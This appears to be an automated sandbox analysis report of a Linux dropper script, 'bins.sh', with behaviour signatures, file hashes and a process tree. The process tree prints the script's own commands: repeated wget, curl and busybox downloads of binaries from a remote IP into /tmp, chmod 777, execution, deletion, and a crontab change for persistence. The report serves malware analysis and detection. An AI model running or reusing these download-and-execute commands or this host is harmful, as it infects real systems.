Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04/11/2024, 23:27

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241104-3fd5msskck
  • SHA256 2835c76202590f8f399672f9075da9d4ecf4cad9ad13f1d864081841188cf7cc
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1566) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:709
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:713
        • /usr/bin/wget
          wget http://87.120.84.230/bins/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
          • Writes file to tmp directory
          PID:719
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
          • Writes file to tmp directory
          PID:733
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/chmod
          chmod 777 SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
          • File and Directory Permissions Modification
          PID:740
        • /tmp/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          ./SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
          • Executes dropped EXE
          PID:741
        • /bin/rm
          rm SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
            PID:743
          • /usr/bin/wget
            wget http://87.120.84.230/bins/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
            2⤵
            • Writes file to tmp directory
            PID:744
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
            2⤵
            • Writes file to tmp directory
            PID:745
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/chmod
            chmod 777 ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
            2⤵
            • File and Directory Permissions Modification
            PID:747
          • /tmp/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
            ./ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
            2⤵
            • Executes dropped EXE
            PID:748
          • /bin/rm
            rm ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
            2⤵
              PID:750
            • /usr/bin/wget
              wget http://87.120.84.230/bins/NsUH1PIP0DVZrHrUQ6iUBxx8N4n4doOYZg
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:751
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/NsUH1PIP0DVZrHrUQ6iUBxx8N4n4doOYZg
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:752
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/NsUH1PIP0DVZrHrUQ6iUBxx8N4n4doOYZg
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:756
            • /bin/chmod
              chmod 777 NsUH1PIP0DVZrHrUQ6iUBxx8N4n4doOYZg
              2⤵
              • File and Directory Permissions Modification
              PID:761
            • /tmp/NsUH1PIP0DVZrHrUQ6iUBxx8N4n4doOYZg
              ./NsUH1PIP0DVZrHrUQ6iUBxx8N4n4doOYZg
              2⤵
              • Executes dropped EXE
              • System Network Configuration Discovery
              PID:762
            • /bin/rm
              rm NsUH1PIP0DVZrHrUQ6iUBxx8N4n4doOYZg
              2⤵
              • System Network Configuration Discovery
              PID:765
            • /usr/bin/wget
              wget http://87.120.84.230/bins/bOo6Z4H2dYrTKlGh8xuxYZbA8AQaMyqtvU
              2⤵
              • Writes file to tmp directory
              PID:766
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/bOo6Z4H2dYrTKlGh8xuxYZbA8AQaMyqtvU
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:775
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/bOo6Z4H2dYrTKlGh8xuxYZbA8AQaMyqtvU
              2⤵
              • Writes file to tmp directory
              PID:782
            • /bin/chmod
              chmod 777 bOo6Z4H2dYrTKlGh8xuxYZbA8AQaMyqtvU
              2⤵
              • File and Directory Permissions Modification
              PID:787
            • /tmp/bOo6Z4H2dYrTKlGh8xuxYZbA8AQaMyqtvU
              ./bOo6Z4H2dYrTKlGh8xuxYZbA8AQaMyqtvU
              2⤵
              • Executes dropped EXE
              PID:788
            • /bin/rm
              rm bOo6Z4H2dYrTKlGh8xuxYZbA8AQaMyqtvU
              2⤵
                PID:791
              • /usr/bin/wget
                wget http://87.120.84.230/bins/VVaDJRL40dYEikyXF0h8wdSDhks1hfXczD
                2⤵
                • Writes file to tmp directory
                PID:793
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/VVaDJRL40dYEikyXF0h8wdSDhks1hfXczD
                2⤵
                • Writes file to tmp directory
                PID:804
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/VVaDJRL40dYEikyXF0h8wdSDhks1hfXczD
                2⤵
                • Writes file to tmp directory
                PID:811
              • /bin/chmod
                chmod 777 VVaDJRL40dYEikyXF0h8wdSDhks1hfXczD
                2⤵
                • File and Directory Permissions Modification
                PID:813
              • /tmp/VVaDJRL40dYEikyXF0h8wdSDhks1hfXczD
                ./VVaDJRL40dYEikyXF0h8wdSDhks1hfXczD
                2⤵
                • Executes dropped EXE
                PID:814
              • /bin/rm
                rm VVaDJRL40dYEikyXF0h8wdSDhks1hfXczD
                2⤵
                  PID:816
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/jcuHyu2oXUS6bVQxWPa5TsU1srF76Z42Vh
                  2⤵
                  • Writes file to tmp directory
                  PID:817
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/jcuHyu2oXUS6bVQxWPa5TsU1srF76Z42Vh
                  2⤵
                  • Writes file to tmp directory
                  PID:818
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/jcuHyu2oXUS6bVQxWPa5TsU1srF76Z42Vh
                  2⤵
                  • Writes file to tmp directory
                  PID:822
                • /bin/chmod
                  chmod 777 jcuHyu2oXUS6bVQxWPa5TsU1srF76Z42Vh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:823
                • /tmp/jcuHyu2oXUS6bVQxWPa5TsU1srF76Z42Vh
                  ./jcuHyu2oXUS6bVQxWPa5TsU1srF76Z42Vh
                  2⤵
                  • Executes dropped EXE
                  PID:824
                • /bin/rm
                  rm jcuHyu2oXUS6bVQxWPa5TsU1srF76Z42Vh
                  2⤵
                    PID:826
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/5SDJ479U7Agm7HfiM0ydEH2fcECI5ssUuz
                    2⤵
                    • Writes file to tmp directory
                    PID:827
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/5SDJ479U7Agm7HfiM0ydEH2fcECI5ssUuz
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:828
                  • /bin/busybox
                    /bin/busybox wget http://87.120.84.230/bins/5SDJ479U7Agm7HfiM0ydEH2fcECI5ssUuz
                    2⤵
                    • Writes file to tmp directory
                    PID:838
                  • /bin/chmod
                    chmod 777 5SDJ479U7Agm7HfiM0ydEH2fcECI5ssUuz
                    2⤵
                    • File and Directory Permissions Modification
                    PID:842
                  • /tmp/5SDJ479U7Agm7HfiM0ydEH2fcECI5ssUuz
                    ./5SDJ479U7Agm7HfiM0ydEH2fcECI5ssUuz
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:843
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:846
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:847
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:849
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:850
                      • /bin/rm
                        rm 5SDJ479U7Agm7HfiM0ydEH2fcECI5ssUuz
                        2⤵
                          PID:856
                        • /usr/bin/wget
                          wget http://87.120.84.230/bins/gZ0kk6cuL2fFWZoSVVKtCTQkJWzkARpAUF
                          2⤵
                            PID:859
                          • /usr/bin/curl
                            curl -O http://87.120.84.230/bins/gZ0kk6cuL2fFWZoSVVKtCTQkJWzkARpAUF
                            2⤵
                              PID:920
                            • /bin/busybox
                              /bin/busybox wget http://87.120.84.230/bins/gZ0kk6cuL2fFWZoSVVKtCTQkJWzkARpAUF
                              2⤵
                              • Writes file to tmp directory
                              PID:944
                            • /bin/chmod
                              chmod 777 gZ0kk6cuL2fFWZoSVVKtCTQkJWzkARpAUF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:953
                            • /tmp/gZ0kk6cuL2fFWZoSVVKtCTQkJWzkARpAUF
                              ./gZ0kk6cuL2fFWZoSVVKtCTQkJWzkARpAUF
                              2⤵
                              • Executes dropped EXE
                              PID:955
                            • /bin/rm
                              rm gZ0kk6cuL2fFWZoSVVKtCTQkJWzkARpAUF
                              2⤵
                                PID:958
                              • /usr/bin/wget
                                wget http://87.120.84.230/bins/q2zm3mTjUCT2Sluv2qE2YbmAsphHAhAdIG
                                2⤵
                                  PID:959

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    5SDJ479U7Agm7HfiM0ydEH2fcECI5ssUuz

                                    • Path /tmp/5SDJ479U7Agm7HfiM0ydEH2fcECI5ssUuz
                                    • Size 151KB
                                    • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                    • MD5 SHA1 SHA512 SSDEEP

                                    NsUH1PIP0DVZrHrUQ6iUBxx8N4n4doOYZg

                                    • Path /tmp/NsUH1PIP0DVZrHrUQ6iUBxx8N4n4doOYZg
                                    • Size 107KB
                                    • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                    • MD5 SHA1 SHA512 SSDEEP

                                    SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx

                                    • Path /tmp/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
                                    • Size 99KB
                                    • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                    • MD5 SHA1 SHA512 SSDEEP

                                    VVaDJRL40dYEikyXF0h8wdSDhks1hfXczD

                                    • Path /tmp/VVaDJRL40dYEikyXF0h8wdSDhks1hfXczD
                                    • Size 119KB
                                    • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                    • MD5 SHA1 SHA512 SSDEEP

                                    ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD

                                    • Path /tmp/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
                                    • Size 177KB
                                    • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                    • MD5 SHA1 SHA512 SSDEEP

                                    bOo6Z4H2dYrTKlGh8xuxYZbA8AQaMyqtvU

                                    • Path /tmp/bOo6Z4H2dYrTKlGh8xuxYZbA8AQaMyqtvU
                                    • Size 117KB
                                    • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                    • MD5 SHA1 SHA512 SSDEEP

                                    gZ0kk6cuL2fFWZoSVVKtCTQkJWzkARpAUF

                                    • Path /tmp/gZ0kk6cuL2fFWZoSVVKtCTQkJWzkARpAUF
                                    • Size 141KB
                                    • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                    • MD5 SHA1 SHA512 SSDEEP

                                    jcuHyu2oXUS6bVQxWPa5TsU1srF76Z42Vh

                                    • Path /tmp/jcuHyu2oXUS6bVQxWPa5TsU1srF76Z42Vh
                                    • Size 127KB
                                    • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                    • MD5 SHA1 SHA512 SSDEEP

                                    tmp.xXUCGw

                                    • Path /var/spool/cron/crontabs/tmp.xXUCGw
                                    • Size 210B
                                    • SHA256 39adcaf4cb2d9367d0903e1332f5dca08418046a3d83c5bacee70fdd65ffd8d1
                                    • MD5 SHA1 SHA512